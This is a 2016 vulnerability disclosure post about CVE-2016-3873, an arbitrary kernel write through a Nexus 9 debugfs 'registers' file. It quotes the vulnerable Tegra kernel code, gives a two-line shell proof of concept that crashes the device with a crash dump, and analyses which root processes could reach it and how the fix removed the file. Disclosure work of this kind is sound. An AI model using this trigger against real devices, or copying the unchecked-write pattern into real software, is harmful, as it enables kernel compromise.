Sep 13, 16
CVE-2016-3873: Arbitrary Kernel Write
Nexus 9’s kernel (tegra
kernel tree) exposes a debugfs
file entry that
allows a privileged attacker write arbitrary values within kernel space.
The root cause is unsanitized input to the dangerous writel()
function.
A similar vulnerability
was discovered by Marco Grassi earlier this year.
The vulnerability’s severity was rated high by Google. It has existed since Nexus 9’s inception back in November 2014. It was reported to Google’s Android Security Team in June 2016 and was fixed in September 2016.
The vulnerability was verified on what were then the latest Nexus 9 images (LTE and non-LTE):
google/volantisg/flounder:6.0.1/MOB30M/2862625:user/release-keys
google/volantisg/flounder_lte:6.0.1/MOB30M/2862625:user/release-keys
The vulnerability report and proof of concept can be found on github.
Vulnerable Code
All following code paths are taken from [1].
The registers
debugfs
file entry is created under the cl_dvfs
directory
with the cl_register_fops
file operations.
int __init tegra_cl_dvfs_debug_init(struct clk *dfll_clk)
{
[...]
cl_dvfs_dentry = debugfs_create_dir("cl_dvfs", dfll_clk->dent);
[...]
if (!debugfs_create_file("registers", S_IRUGO | S_IWUSR,
cl_dvfs_dentry, dfll_clk, &cl_register_fops))
goto err_out;
[...]
return 0;
[...]
}
static const struct file_operations cl_register_fops = {
[...]
.write = cl_register_write,
[...]
};
On write()
syscall, cl_register_write()
securely copies a user space buffer
and parses its contents as two numeric values:
val
- a value to be written.offs
- an offset from a constant address (mentioned further below) that is persistent across boots.
static ssize_t cl_register_write(struct file *file,
const char __user *userbuf, size_t count, loff_t *ppos)
{
char buf[80];
u32 offs;
u32 val;
[...]
struct tegra_cl_dvfs *cld = c->u.dfll.cl_dvfs;
if (sizeof(buf) <= count)
return -EINVAL;
if (copy_from_user(buf, userbuf, count)) return -EFAULT;
[...]
if (sscanf(buf, "[0x%x] = 0x%x", &offs, &val) != 2) return -1;
[...]
cl_dvfs_writel(cld, val, offs & (~0x3)); [...]
return count;
}
Eventually, either cl_dvfs_writel()
or cl_dvfs_i2c_writel()
are called,
and __raw_writel()
is used to write value val
at offs + constant_address
(either cl->cl_base
or cld->cl_i2c_base
) which results in an arbitrary
kernel write.
static inline void cl_dvfs_writel(struct tegra_cl_dvfs *cld,
u32 val, u32 offs)
{
if (offs >= CL_DVFS_I2C_CFG) {
cl_dvfs_i2c_writel(cld, val, offs);
return;
}
__raw_writel(val, (void *)cld->cl_base + offs);}
static inline void cl_dvfs_i2c_writel(struct tegra_cl_dvfs *cld,
u32 val, u32 offs)
{
__raw_writel(val, cld->cl_i2c_base + offs);}
Proof of Concept
The cool thing about such vulnerabilities is that you can trigger it entirely from the command line:
# cd /sys/kernel/debug/clock/dfll_cpu/cl_dvfs
# echo "[0x44444444]=0x12341234" > registers
The device crashes instantly. Crashdump:
<1>[ 1407.192397] Unable to handle kernel paging request at virtual address ffffffbc43744444
<1>[ 1407.192720] pgd = ffffffc0618b9000
<1>[ 1407.192752] [ffffffbc43744444] *pgd=0000000000000000
<0>[ 1407.192799] Internal error: Oops: 96000045 [#1] PREEMPT SMP
<4>[ 1407.192928] CPU: 1 PID: 3136 Comm: sush Tainted: G W 3.10.40-g2700fb3 #1
<4>[ 1407.192958] task: ffffffc00c3f5400 ti: ffffffc058218000 task.ti: ffffffc058218000
<4>[ 1407.193015] PC is at cl_register_write+0xb0/0x118
<4>[ 1407.193047] LR is at cl_register_write+0x94/0x118
<4>[ 1407.193070] pc : [<ffffffc000765154>] lr : [<ffffffc000765138>] pstate: 20000045
<4>[ 1407.193090] sp : ffffffc05821bda0
<4>[ 1407.193109] x29: ffffffc05821bda0 x28: ffffffc058218000
<4>[ 1407.193150] x27: ffffffc000e5f000 x26: 0000000000000040
<4>[ 1407.193192] x25: 0000000000000116 x24: 000000000000001a
<4>[ 1407.193233] x23: 000000557c17bef8 x22: 000000557c17bef8
<4>[ 1407.193272] x21: ffffffc05821bde0 x20: ffffffc0669dac00
<4>[ 1407.193380] x19: 000000000000001a x18: 00000000ffffffff
<4>[ 1407.193418] x17: 0000007fab90ac3c x16: ffffffc000195e64
<4>[ 1407.193458] x15: 000000000000000a x14: 000000555f2c5000
<4>[ 1407.193496] x13: 000000555f2c5000 x12: 000000557c17bf78
<4>[ 1407.193535] x11: 0000000000000080 x10: 0000000000000000
<4>[ 1407.193589] x9 : 0000000000000010 x8 : 0000000000000004
<4>[ 1407.193627] x7 : 0000000000000000 x6 : ffffffc05821bdf1
<4>[ 1407.193663] x5 : 0000000000000004 x4 : 00000000000000b7
<4>[ 1407.193700] x3 : ffffffc000d50e6d x2 : ffffffbbff300000
<4>[ 1407.193819] x1 : 0000000012341234 x0 : ffffffbc43744444
[...]
As can be seen above, the kernel tries to access address 0xffffffbc43744444
(simply 0x44444444
+ <constant_address>
), but since no proper mapping exists
in the page table, it crashes. Also note that the x1
register holds the value we specified: 0x12341234
.
Attack Surface Analysis
We analyse the Discretionary Access Control (DAC
) and Mandatory Access Control
(MAC
, SELinux
on Android
) to find out which active processes can trigger
the vulnerability.
DAC
DAC
-wise, who can write
to the file?
$ ls -lZ registers
-rw-r--r-- root root u:object_r:debugfs:s0 registers
The attacker has to execute code under UID
root
within the
debugfs
SELinux
context.
SELinux
SELinux
-wise, what contexts can write
to a debugfs
file?
Looking at the previously mentioned output of ls -lZ
, we need to find SELinux
domains with allow rules that have target type debugfs
with the open
and
write
permissions on the file
class.
Analysing Nexus 9’s sepolicy
(MOB30M
) yields:
allow domain debugfs:file { write open append };
That is, SELinux
-wise, any domain can open
, write
and append
to any
file with the debugfs
context.
Therefore, only the DAC
limits us. We need to find processes that have UID
root
.
Processes
What active process can trigger the vulnerability?
Analyzing active processes using ps -Z
yields:
u:r:init:s0 root 1 0 /init
u:r:ueventd:s0 root 149 1 /sbin/ueventd
u:r:watchdogd:s0 root 154 1 /sbin/watchdogd
u:r:vold:s0 root 185 1 /system/bin/vold
u:r:healthd:s0 root 189 1 /sbin/healthd
u:r:lmkd:s0 root 190 1 /system/bin/lmkd
u:r:netd:s0 root 244 1 /system/bin/netd
u:r:debuggerd:s0 root 245 1 /system/bin/debuggerd
u:r:debuggerd:s0 root 246 1 /system/bin/debuggerd64
u:r:installd:s0 root 249 1 /system/bin/installd
u:r:zygote:s0 root 253 1 zygote64
u:r:zygote:s0 root 254 1 zygote
Code execution within any of the processes above can trigger and exploit the vulnerability.
Exploitation and Fix
To exploit the vulnerability from an untrusted_app
security context, one would
first need to escalate privileges from an untrusted_app
to one of the previously
mentioned processes.
For instance, CVE-2016-0807
,
disclosed by Zach Riggle, may be used, since it
allows an untrusted app to execute code within debuggerd
.
We thought that Google / Nvidia would fix the vulnerability by checking the
bounds on the given offset, but the
commit that fixed the vulnerability
reveals that Google simply removed the registers
file from showing up
on the debug
file system.
Clearly, the registers
file node was not needed on production builds.
One can only wonder how many other, unnecessary, vulnerable, debugfs
or
sysfs
file nodes are out there.
-
Tegra’s Android Kernel. https://android.googlesource.com/kernel/tegra/+/android-tegra-flounder-3.10-n-preview-2/arch/arm/mach-tegra/tegracldvfs.c#3223. [Online; accessed 20-June-2016].
↩